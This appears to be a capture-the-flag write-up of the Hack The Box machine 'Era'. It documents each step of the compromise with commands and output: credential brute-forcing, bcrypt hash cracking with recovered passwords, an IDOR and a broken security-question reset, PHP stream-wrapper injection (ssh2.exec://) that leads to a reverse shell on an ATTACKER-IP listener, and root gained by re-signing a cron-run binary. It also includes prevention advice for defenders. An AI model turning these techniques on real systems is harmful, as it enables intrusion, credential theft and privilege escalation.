Era chains a username oracle and a weak password into a file-sharing app, an IDOR that leaks a site backup with bcrypt hashes and a signing key, a security-question reset that works on any user for admin access, an admin-only file preview that hands fopen() an attacker-chosen stream wrapper (ssh2.exec://) for a shell, and a root cron job that runs a group-writable binary after a forgeable ELF signature check.
In the contrary the official HTB path and description of the box goes as follows:
Era is a medium difficulty Linux machine that features an insecure PHP web application alongside a weakly protected system service. First, web enumeration reveals insecure file handling and authentication logic, which can be leveraged to obtain an administrator session. Further inspection of the application’s source code reveals a vulnerable file-preview mechanism that enables remote code execution through PHP stream wrappers. Finally, upon gaining remote access, a root-executed scheduled task reveals a monitoring binary with an easily bypassed ELF signature check that can be overwritten to achieve full system compromise.
ports=$(nmap -p- --min-rate=1000 -T4 $VICTIM| grep '^[0-9]'| cut -d '/' -f 1| tr '\n'','| sed s/,$//)└─$ nmap -p$ports -sC -sV $VICTIMRunning second nmap scan with open ports: 21,80
Starting Nmap 7.991 ( https://nmap.org ) at 2026-12-02 13:50 +0100
Nmap scan report for era.htb (VICTIM-IP)Host is up (0.0046s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
80/tcp open http nginx 1.18.0 (Ubuntu)|_http-server-header: nginx/1.18.0 (Ubuntu)|_http-title: Era Designs
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
FTP and a web server — and notably no SSH from the outside. Keep that in mind for the foothold.
1
echo'VICTIM-IP era.htb file.era.htb'| sudo tee -a /etc/hosts
With real usernames, a clusterbomb against login.php (two keywords, every combination):
1
2
3
4
5
6
7
8
9
└─$ ffuf -u http://file.era.htb/login.php -X POST \
-H "Content-Type: application/x-www-form-urlencoded" -H "Cookie: PHPSESSID=<session>"\
-d 'submitted=true&username=USER&password=PASS'\
-w /usr/share/seclists/Passwords/Common-Credentials/best1050.txt:PASS -w ./users.txt:USER \
-fr 'Invalid username or password'[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 3745ms] * PASS: america
* USER: eric
Tip
Different from the intended path. The official route simply registers an account via the unlinked register.php. We got in as a real user instead, through the username oracle plus a weak password — both are findings worth reporting on their own.
The admin’s username and old security answers, plus bcrypt hashes ($2a$/$2b$/$2y$ are all hashcat mode 3200):
Spoiler
1
2
3
4
└─$ hashcat -m 3200 sqlite-hashes.txt /usr/share/wordlists/rockyou.txt
...
$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm:america # eric - already known$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.:mustang # yuri - new
Admin via broken access control on the security reset#
The backup’s answers (Maria / Oliver / Ottawa) no longer work — the admin changed them. They don’t need to work: reset.php (Update Security Questions) takes a username field and updates that user’s answers without checking it’s the logged-in user. Logged in as eric, we set new answers for admin_ef01cab31aa, then log in through security_login.php with them. The same trick works for every user, needing only a username.
As admin, the file list confirms that signing.zip and the site backup were the admin’s files.
└─$ ftp era.htb
Connected to era.htb.
220(vsFTPd 3.0.5)...
ftp> user yuri mustang
ftp> ls
229 Entering Extended Passive Mode (|||9167|)150 Here comes the directory listing.
drwxr-xr-x 2004096 Jul 222025 apache2_conf
drwxr-xr-x 3004096 Jul 222025 php8.1_conf
Tip
php8.1_conf lists the installed PHP extensions — including ssh2.so. That’s the hint for the foothold below: it tells you which stream wrappers exist before you start guessing.
signing.zip holds key.pem and x509.genkey. key.pem contains a 2048-bit RSA private key plus its certificate; x509.genkey is the OpenSSL config used to create it (the same template the Linux kernel docs use for module signing), with keyUsage=digitalSignature:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
└─$ openssl x509 -in key.pem -text -noout
Certificate:
Data:
Version: 3(0x2) Serial Number:
6d:63:4a:a9:81:e1:93:a1:e4:48:c5:20:5f:f7:9b:84:e6:b6:f5:0b
Signature Algorithm: sha256WithRSAEncryption
Issuer: O=Era Inc., CN=ELF verification, emailAddress=[email protected] Validity
Not Before: Jan 26 02:09:35 2025 GMT
Not After : Jan 2 02:09:35 2125 GMT
Subject: O=Era Inc., CN=ELF verification, emailAddress=[email protected] Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (2048 bit)...
A key for signing ELF binaries — no use yet, but it comes back for root.
Foothold — stream wrapper injection in the admin file preview#
Uploading a PHP payload is filtered (even in the filename):
// BETA (Currently only available to the admin) - Showcase file instead of downloading it
}elseif($_GET['show']==="true"&&$_SESSION['erauser']===1){$format=isset($_GET['format'])?$_GET['format']:'';$file=$fetched[0];if(strpos($format,'://')!==false){$wrapper=$format;header('Content-Type: application/octet-stream');}else{$wrapper='';header('Content-Type: text/html');}try{$file_content=fopen($wrapper?$wrapper.$file:$file,'r');$full_path=$wrapper?$wrapper.$file:$file;// Debug Output
echo"Opening: ".$full_path."\n";echo$file_content;}catch(Exception$e){echo"Error reading file: ".$e->getMessage();}
Two things to notice:
It never reads the file. fopen() only opens a stream, and echo of a stream handle prints Resource id #2. An uploaded web shell would never run here.
Any format containing :// is prepended to the stored path (files/<name>) and handed to fopen(). We choose the stream wrapper — and some wrappers do something just by being opened.
Wrapper
Opening it…
Needs
http://
makes the server request a URL (callback/SSRF)
allow_url_fopen
expect://cmd
runs cmd
expect extension
ssh2.exec://user:pass@host/cmd
logs in over SSH and runs cmd
ssh2 extension + valid SSH creds
First a callback to confirm wrappers work and the box can reach us. Note how the stored path is glued onto the end:
└─$ python3 -m http.server 8888 --bind ATTACKER-IP
Serving HTTP on ATTACKER-IP port 8888(http://ATTACKER-IP:8888/) ...
VICTIM-IP - - [03/Dec/2026 14:10:30] code 404, message File not found
VICTIM-IP - - [03/Dec/2026 14:10:30]"GET /CALLBACKfiles/site-backup-30-08-24.zip HTTP/1.1"404 -
Dead ends worth knowing:
format=http://ATTACKER-IP:8888/;expect://id — fopen() opens one stream, chosen by the first scheme. Everything after the host was just the HTTP path; ; only separates commands in a shell, and there is none here.
format=expect://curl%20http://ATTACKER-IP:8888/EXPECT%3b — no callback: the expect extension isn’t installed.
ssh2.exec:// with yuri’s password — SSH isn’t exposed externally, but it listens on localhost, and the wrapper connects from the server itself:
The URL path is the command. The trailing %3b (;) ends it, so the appended files/<name> becomes a separate, harmlessly failing command. The output is never shown, which is why we test with a callback. Then the reverse shell:
└─$ nc -lvnp 4444listening on [any]4444 ...
connect to [ATTACKER-IP] from (UNKNOWN)[VICTIM-IP]53426bash: cannot set terminal process group (31738): Inappropriate ioctl for device
bash: no job control in this shell
yuri@era:~$
Tip
Different from the intended path. The official route runs ssh2.exec:// as eric (eric:america) and kills the appended filename with a URL-encoded # (%23) instead of ;. Either works: # cuts it off as a URL fragment before SSH sees it, ; lets it run as a failing second command.
Tip
Prevention (for reports): Never let user input choose a stream wrapper or path for fopen(). Build the path server-side from the file ID, resolve it with realpath() and check it stays inside the upload directory; disable unused extensions (ssh2, expect) and allow_url_fopen.
eric’s web password is also his system password:
1
2
3
yuri@era:~$ su eric
Password:
eric@era:~$ cat user.txt
monitor is a 64-bit, dynamically linked, not stripped ELF. strings shows ELF verification — the CN of the certificate in key.pem. Its section table has one section no compiler produces:
Not ALLOC/LOAD — never mapped into memory when the program runs; it’s data stored in the file, exactly how an embedded signature is attached after compilation.
0x1ca = 458 bytes — the size of a PKCS#7/CMS signature from a 2048-bit RSA key without the certificate inside.
So the scheme is: detached CMS signature over the raw .text section, stored in .text_sig. We hold the private key, so we can produce one for our own binary.
gcc only gives us the code. Rebuilding the signed layout takes three steps:
1
2
3
4
5
6
7
8
9
# 1. extract the bytes to sign - OpenSSL signs bytes, it knows nothing about ELF└─$ objcopy -O binary --only-section=.text monitor text_new.bin
# 2. sign them like the original: SHA-256, binary, DER, detached, no certs, no attributes└─$ openssl cms -sign -binary -noattr -outform DER -in text_new.bin \
-signer key.pem -inkey key.pem -nocerts -md sha256 -out sig_new.der
# 3. attach the signature where the checker looks for it└─$ objcopy --add-section .text_sig=sig_new.der monitor
Tip
Adding .text_sig doesn’t invalidate the signature: the new section is appended and not loaded (no ALLOC), so the bytes of .text are untouched and still match what step 1 extracted.
Same check that passed on the original, now on ours:
We transfer it to the box and overwrite monitor in place, keeping a backup. cat > keeps root’s ownership and the execute bit; a moved-in copy would become eric’s file:
eric@era:~$ ls -al /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 142024 /bin/bash
eric@era:~$ bash -p
bash-5.1# whoami
root
Tip
How strict was the check really? Per the official writeup, pspy shows initiate_monitoring.sh dumping .text_sig, running openssl asn1parse on it and grepping for Era Inc. — it only checks that a signature with that issuer is present, never that it matches .text. So copying the original.text_sig onto any binary (objcopy --dump-section from monitor, --add-section onto ours) passes too, no key needed. An unsigned binary gets [ERROR] Executable not signed. Tampering attempt detected. Skipping. in status.log. Our properly signed binary passes either way — and would also pass a real cryptographic check. The official route signs with the linux-elf-binary-signer tool (elf-sign sha256 key.pem key.pem shell), which does what our three manual steps do.
Tip
Prevention (for reports): Verify signatures cryptographically against the signed content (openssl cms -verify -content), not by parsing out an issuer string; keep signing private keys off shared file stores; and never let root execute a binary that a non-root group can write.